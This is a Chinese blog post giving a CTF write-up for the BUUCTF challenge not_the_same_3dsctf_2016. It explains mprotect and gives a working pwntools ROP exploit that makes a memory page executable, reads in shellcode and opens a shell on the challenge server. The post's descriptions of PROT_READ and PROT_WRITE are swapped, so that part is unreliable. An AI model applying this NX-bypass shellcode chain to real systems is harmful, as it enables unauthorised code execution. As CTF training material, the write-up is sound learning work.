mprotect函数打法


mprotect函数与read函数组合打法


  • ps:以buuctf上的not_the_same_3dsctf_2016举例

mprotect函数:

int mprotect(const void *start, size_t len, int prot);

mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。

prot可以取以下几个值,并且可以用“|”将几个属性合起来使用:

1)PROT_READ:表示内存段内的内容可写;

2)PROT_WRITE:表示内存段内的内容可读;

3)PROT_EXEC:表示内存段中的内容可执行;

4)PROT_NONE:表示内存段中的内容根本没法访问。

需要指出的是,指定的内存区间必须包含整个内存页(4K)。区间开始的地址start必须是一个内存页的起始地址(这个很重要,刚开始不懂试了好几个段都不行),区间长度len不一定是页大小的整数倍。

如果执行成功,则返回0;如果执行失败,则返回-1,并且设置errno变量,说明具体因为什么原因造成调用失败。


分析:




代码逻辑非常简单,并且漏洞也很明显就是栈溢出,get_secret函数里就是将flag.txt文件的flag读取出来放到fl4g变量里。

做法一:


我们直接将它的内容构造write函数读出来即可,思路简单就不粘贴exp了

做法二:


利用mprotect函数将段的权限改为可读可写可执行来绕过nx保护机制执行shellcode,构造的原理也很简单,
构造链:溢出+ebp+mprotect函数地址+3个pop地址+3个mprotect函数参数+read函数地址+shellcode地址+3个read函数参数
exp:

from pwn import*
io=remote('node5.buuoj.cn',29599)
flag_addr=0x80ec000
write_addr=0x806E270
mprotect_addr=0x806ED40
read_addr=0x0806E200
shellcode=asm(shellcraft.sh())
p3_ret=0x0806fcc8
payload=b'a'*0x2D+p32(0x80489A0)+p32(mprotect_addr)+p32(p3_ret)+p32(flag_addr)+p32(0x100)+p32(0x7)
#3个pop的目的是过渡而已,没有用,要跳过3个参数,到read
payload+=p32(read_addr)+p32(flag_addr)+p32(0)+p32(flag_addr)+p32(len(shellcode))
io.sendline(payload)
io.sendline(shellcode)
io.interactive()

当然这里改变权限的地址怎么找呢?

开pwndbg进行vmmap查看权限这里出来的一般上都可以,最好使用堆栈和数据段

在ida里也可以通过ctrl+s查找段来看.got.plt的地址(就是看初始段地址满不满足页的大小4k的整数倍)


记录功能:

ctrl+f:查找函数
ctrl+s:查找段
ctrl+x:在不同的段交互到他的code段

文章作者: 矢坕
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 矢坕 !
  目录